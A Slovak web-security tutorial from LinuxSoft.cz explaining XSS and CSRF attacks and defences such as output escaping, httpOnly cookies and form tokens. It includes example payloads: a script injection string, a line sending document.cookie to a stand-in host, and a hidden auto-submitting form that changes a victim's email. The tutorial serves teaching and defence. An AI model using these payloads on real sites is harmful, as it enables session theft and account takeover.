LINUXSOFT.cz Přeskoč levou lištu
Uživatel: Heslo:  
   CZUKPL

> Bezpečnosť webovej aplikácie II.

V tomto pokračovaní nášho malého tutoriálu si ukážeme, ako vyzerajú, ako fungujú a ako sa brániť proti zraniteľnostiam Cross-Site-Scripting (XSS) a Cross Site Request Forgery (CSRF/XSRF).

11.3.2012 00:00 | Marek Beleščiak | Články autora | přečteno 4871×

Princíp týchto zraniteľností spočíva v neošetrenom vstupe na danej www stránky - útočník na tomto základe podstrčí vlastný javascriptový kód. Pomocou týchto zraniteľnosti vám môže prebrať cookies, ukradnúť session alebo dokonca vám aj zmeniť údaje o účte bez toho aby ste o tom vedeli jediným navštívením nebezpečnej stránky.

XSS

Tento útok spočíva v tom, že podstrčíte aplikácií dáta, ktorej jej samotnej neuškodia ale vrátia sa neodfiltrované na výstup k užívateľovi. Veľmi dobrý príklad môže byť odoslanie formulára, keď nastane niekde chyba, väčšinou vám ostanú údaje vyplnené aby ste ich nemuseli vyplňovať odznova.

Zoberme si nasledujúci príklad, ktorý by mal všetko demonštrovať:

<input name="username" value="">

Aplikácii odošleme toto políčko s obsahom "><script>alert('XSS');</script> dostali by sme tento výsledok:

<input name="username" value=""><script>alert('XSS')</script>">

V takejto podobe sa nám do prehliadača vratí daný kód, čím sa vykoná daný javascriptový kód. S menšou úpravou môže byť veľmi nebezpečný.

Existujú 3 typy XSS a to sú persistent (stály), non-persistent (nestály) a local (lokálny, často sa označuje ako HTML Injection).

Persistent

Táto metóda sa využíva napr. v guestbooku. Pokiaľ aplikácia nevyužíva na výstupe filter, a tým pádom sa neošetria html tagy a vrátia sa klientovi - problém je na svete. Aplikácia uloží nebezpečný kód a potom každému, kto navštívi guestbook vráti nebezpečný kód, ktorý sa vykoná u každého klienta.

Persistent XSS Attacker -> Storage Persistent XSS Storage -> Client

Správna cesta by mala byť od útočníka do úložiska. Cesta ku klientovi by ale mala viesť cez filter:

Persistent XSS Storage -> Filter -> Client

Non-Persistent

Tento spôsob je veľmi podobný predošlému persistent, s tým rozdielom, že infikovanú adresu aplikácie má len útočník. Tento spôsob je síce najmenej nebezpečný ale je veľmi podceňovaný, čo je veľká chyba.

Malý príklad: predstavte si stránku na ktorej je prihlásenie, registrácia, fórum. Útočník našiel na stránke 'vytvoriť novú tému' nestálu XSS zraniteľnosť. Zriadil si free-hosting s dómenou www.example.com, na ktorej mal skript, ktorý ukladal všetko, čo dostal zo vstupu. Na stránke s diskusiou si pripravil a vyšperkoval svoj nebezpečný kód. Ten odoslal všetky cookies cez new Image().src='http://www.example.com/?c='+document.cookie na svoj nachystaný skript na www.example.com. Svoj nebezpečný kód fungoval takto: zakryl celú stránku na čierno, aby nebolo vidno, že ide práve o danú lokalitu. Potom ihned odoslal cookies. A nakoniec sa spustila hra na hádanie čisla od 0 do 100. Útočník potom túto veľmo dlhú url zmenil zapomoci url shortenera tinyurl.com. Potom napísal novú tému s tým, že našiel na nete výbornú hru, v ktorej máte hádať číslo od 0 do 100 a pod to dal novú skrátenú adresu. Každý kto klikol na tento odkaz prišiel o svoj účet! Útočník svoje úložisko pravidelne kontroloval a tým pádom mohol ihneď reagovať skôr než sa užívateľovi skončí jeho relácia. Serveru odoslal požiadavku s danými cookies. Kedže server ho identifikoval ako pôvodného užívateľa, útočník sa ocitol prihlásený za užívateľa a ani na to nepotreboval žiadne heslo!...

Local

Lokálne XSS sa často označuje aj ako infikovanie HTML (HTML injection). Kód je spustený na strane klienta a práve na strane klienta dochádza k infikovaniu html. Príkladom môže byť napr. dynamické vloženie html obsahu bez žiadneho filtru:

<script>
	var a = window.location.search.indexOf("text=") + 5;
	document.getElementsByTagName("div")[0].innerHTML = a;
</script>
	

Obrana

Zo strany vývojára treba byť paranoidný ku každému vstupu. Neverte ani vlastným databázam! Každé dáta, ktoré idete poslať klientovi musíte dobre ošetriť problémové znaky (hlavne: <, >, ", ', (, ) ). Toto isté platí aj pre dáta od server poslané javascriptu (napr. cez ajax) a tiež ošetriť dané znaky, aby sa nevyskytovali v novom dynamickom html obsahu. Ďalším veľmi významným opatrením je nastaviť všetkým cookies, ktoré nemajú čo javascript zaujímať nastaviť httpOnly atribút, ktorý zariadi aby daná cookie bola posielaná len cez medzi prehliadačom a serverom a žiadne skripty k nej nebudú mať prístup.

Zo strany klienta je obrana pomerne náročná. Pre firefox je tu plugin NoScript. Google Chrome ma svoju ochranu proti XSS už integrovanú takým spôsobom, že ak sa odoslané dáta nachádzajú v odpovedi, hodi error/warning do konzoly a daný kúsok kódu odignoruje.

CSRF / XSRF

Pre správne pochopenie tohto útoku je nutné vedieť ako funguje protokol HTTP.

Web server cez HTTP protokol nevie identifikovať návštevníka, to až po poslaní cookies. Tento útok dokáže na poslanie parametrov stránke použiť rovnako GET aj POST metódu. Obe metódy sú úplne rovnake postihnuté. Vždy, keď váš prehliadač posiela požiadavku stránke, zahrnie tam všetko, vrátane cookies, teda vašej identifikácie. Keďže server nevie určiť od koho požiadavka naozaj pochádza, vyhodnotí ju ako legitímnu požiadavku a následne ju spracuje.

Vezmime si napríklad URL pre odhlásenie z linuxsoftu:

GET /odhlas.php HTTP/1.1

Keby ste na svoju stránku umiestnili kód:

<img src="http://www.linuxsoft.cz/odhlas.php" style="display:none;">

Každý, kto by navštívil vašu stránku, jeho prehliadač by chcel prehliadač stiahnuť aj obrázok "/odhlas.php" na linuxsoft.cz. Prehliadač musí vytvoriť požiadavku a odoslať ju na linuxsoft.cz, ktorému odošle všetky dáta, cookies. Server na ich základe usúdi, že sa jedná o vás a vašu žiadosť o odhlásenie. Dojde k odhláseniu. Skúste sa prihlásiť stlačiť toto tlačitko a obnoviť stránku a budete odhlásení.

Teraz si predstavte, že rovnako je postihnutá aj metóda POST, je trošku zložitejšia ale nieje to nič extra. Rozhodol som sa uviesť malý príklad na zmenu emailu. Predstavte si, že formulár na originálnej stránke je nasledujúci:

<form method="post" action="/email.cgi">
	<input type="text" name="email">
	<input type="submit" value="submit">
</form>
	

Odoslanie tohto formulára pod identitou užívateľa nieje nič náročné. Náš kód na nebezpečnej stránke môže vyzerať napr. takto:

<iframe style="display:none" name="ifr"></iframe>
<form method="post" action="http://www.example.com/email.cgi" style="display:none;" 
target="ifr" name="ifr_form">
	<input type="hidden" name="email" value="exam@ple.com">
</form>
<script type="text/javascript">
window.forms['ifr_form'].submit();
</script>
	

Po navštívení tejto stránky sa ihneď odošle formulár na zmenu emailu. Pokiaľ obeť je prihlasená, email sa zmení, čo znamená, že zmeniť si heslo cez zabudnuté heslo a následné poslanie na nový email je už to najmenej.

Obrana

CSRF je nebezpečný typ útoku a obrana proti nemu nieje ľahká. No určite je nutné, aby ste kontrolovali hlavičku referer, ak je dostupná. Ďalši najefektívnejší spôsob je otokenovať každý formulár, to znamená, že ku každému vstupu priradíte uníkátny reťazec. Kedže ho útočník dopredu nevie určiť, útok nemá veľkú šancu. Určite by bolo dobré keby ste k tomuto tokenu ukladali IP ktorá daný token "vytvorila" a nakonci ho porovnať s IP ktorá tento token odoslala. Ak sa nezhodujú nemôžete pokračovať! Ďalšou dobrou ochranou je captcha, ktorá bola pôvodne navrhnutá ako antispamové riešenie.

Verze pro tisk

pridej.cz

 

DISKUZE

Nejsou žádné diskuzní příspěvky u dané položky.



Příspívat do diskuze mohou pouze registrovaní uživatelé.
> Vyhledávání software
> Vyhledávání článků

15.5.2017 23:50 /František Kučera

Máš rád svobodný software a hardware nebo se o nich chceš něco dozvědět? Zajímá tě DIY, CNC, SDR nebo morseovka? Přijď na sraz spolku OpenAlt, který se bude konat ve čtvrtek 18. května od 18:00 v Radegastovně Perón (Stroupežnického 20, Praha 5).


Přidat komentář

12.5.2017 16:42 /Honza Javorek
PyCon CZ, česká konference o programovacím jazyce Python, se po dvou úspěšných ročnících v Brně bude letos konat v Praze, a to 8. až 10. června. Na konferenci letos zavítá např. i Armin Ronacher, známý především jako autor frameworku Flask, šablon Jinja2/Twig, a dalších projektů. Těšit se můžete na přednášky o datové analytice, tvorbě webu, testování, tvorbě API, učení a mentorování programování, přednášky o rozvoji komunity, o použití Pythonu ve vědě nebo k ovládání nejrůznějších zařízení (MicroPython). Na vlastní prsty si můžete na workshopech vyzkoušet postavit Pythonem ovládaného robota, naučit se učit šestileté děti programovat, efektivně testovat nebo si v Pythonu pohrát s kartografickým materiálem. Kupujte lístky, dokud jsou.
Přidat komentář

2.5.2017 9:20 /Eva Rázgová
Putovní konference československé Drupal komunity "DrupalCamp Československo" se tentokrát koná 27. 5.2017 na VUT FIT v Brně. Můžete načerpat a vyměnit si zkušenosti z oblasti Drupalu 7 a 8, UX, SEO, managementu týmového vývoje, využití Dockeru pro Drupal a dalších. Vítáni jsou nováčci i experti. Akci pořádají Slovenská Drupal Asociácia a česká Asociace pro Drupal. Registrace na webu .
Přidat komentář

1.5.2017 20:31 /Pavel `Goldenfish' Kysilka
PR: 25.5.2017 proběhne v Praze konference na téma Firemní informační systémy. Hlavními tématy jsou: Informační systémy s vlastní inteligencí, efektivní práce s dokumenty, mobilní přístup k datům nebo využívání cloudu.
Přidat komentář

15.4.2017 15:20 /František Kučera
Máš rád svobodný software a hardware nebo se o nich chceš něco dozvědět? Zajímá tě IoT a radiokomunikace? Přijď na sraz spolku OpenAlt, který se bude konat ve středu 19. dubna od 18:30 v Šenkovně (Sokolská 60, Praha 2).
Přidat komentář

5.3.2017 19:12 /Redakce Linuxsoft.cz
PR: 23. března proběhne v Praze konferenci na téma Cloud computing v praxi. Hlavními tématy jsou: Nejžhavější trendy v oblasti cloudu a cloudových řešení, Moderní cloudové služby, Infrastruktura současných cloudů, Efektivní využití cloudu, Nástrahy cloudových řešení a jak se jim vyhnout.
Přidat komentář

27.2.2017 22:12 /František Kučera
Pozvánka na 137. sraz OpenAlt – Praha: Tentokrát jsme si pro vás připravili neobvyklou akci. Ve středu 1.3. v 17:30 nás přivítá sdružení CZ.NIC ve svých prostorách v Milešovské ulici číslo 5 na Praze 3, kde si pro nás připravili krátkou prezentaci jejich činnosti. Následně navštívíme jejich datacentrum pod Žižkovskou věží. Provedou nás prostory, které jsou běžnému smrtelníkovi nedostupné!
Po ukončení prohlídky se všchni odebereme do hostince U vodoucha, Jagelonská 21, Praha 3 pochutnat si na některém z vybraných piv či dát si něco na zub. Rezervaci máme od 19:30, heslo je OpenAlt.
Ale pozor! Do prostor datového centra máme omezený přístup, dostane se tam pouze 10 lidí! Takže kdo přijde dříve, ten má přednost, a občanky s sebou! Kdo nebude chtít na prohlídku datového centra, může se pomalu přesunout do hostince U vodoucha a u nepřeberné nabídky piv počkat na ostatní.
Přidat komentář

18.1.2017 0:49 /František Kučera
Členové a příznivci spolku OpenAlt se pravidelně schází v Praze a Brně. Fotky z pražských srazů za uplynulý rok si můžete prohlédnout na stránkách spolku. Příští sraz se koná už 19. ledna – tentokrát je tématem ergonomie ovládání počítače – tzn. klávesnice, myši a další zařízení. Také budete mít příležitost si prohlédnout pražský hackerspace Brmlab.
Přidat komentář

   Více ...   Přidat zprávičku

> Poslední diskuze

11.5.2017 23:32 / lelo
Re: Problém se správcem balíčků

11.5.2017 5:45 / davd mašek
Re: Problém se správcem balíčků

10.5.2017 22:54 / lelo
Re: Problém se správcem balíčků

10.5.2017 22:19 / davd mašek
Problém se správcem balíčků

17.4.2017 19:15 / Jakub shoop
chyba

Více ...

ISSN 1801-3805 | Provozovatel: Pavel Kysilka, IČ: 72868490 (2003-2017) | mail at linuxsoft dot cz | Design: www.megadesign.cz | Textová verze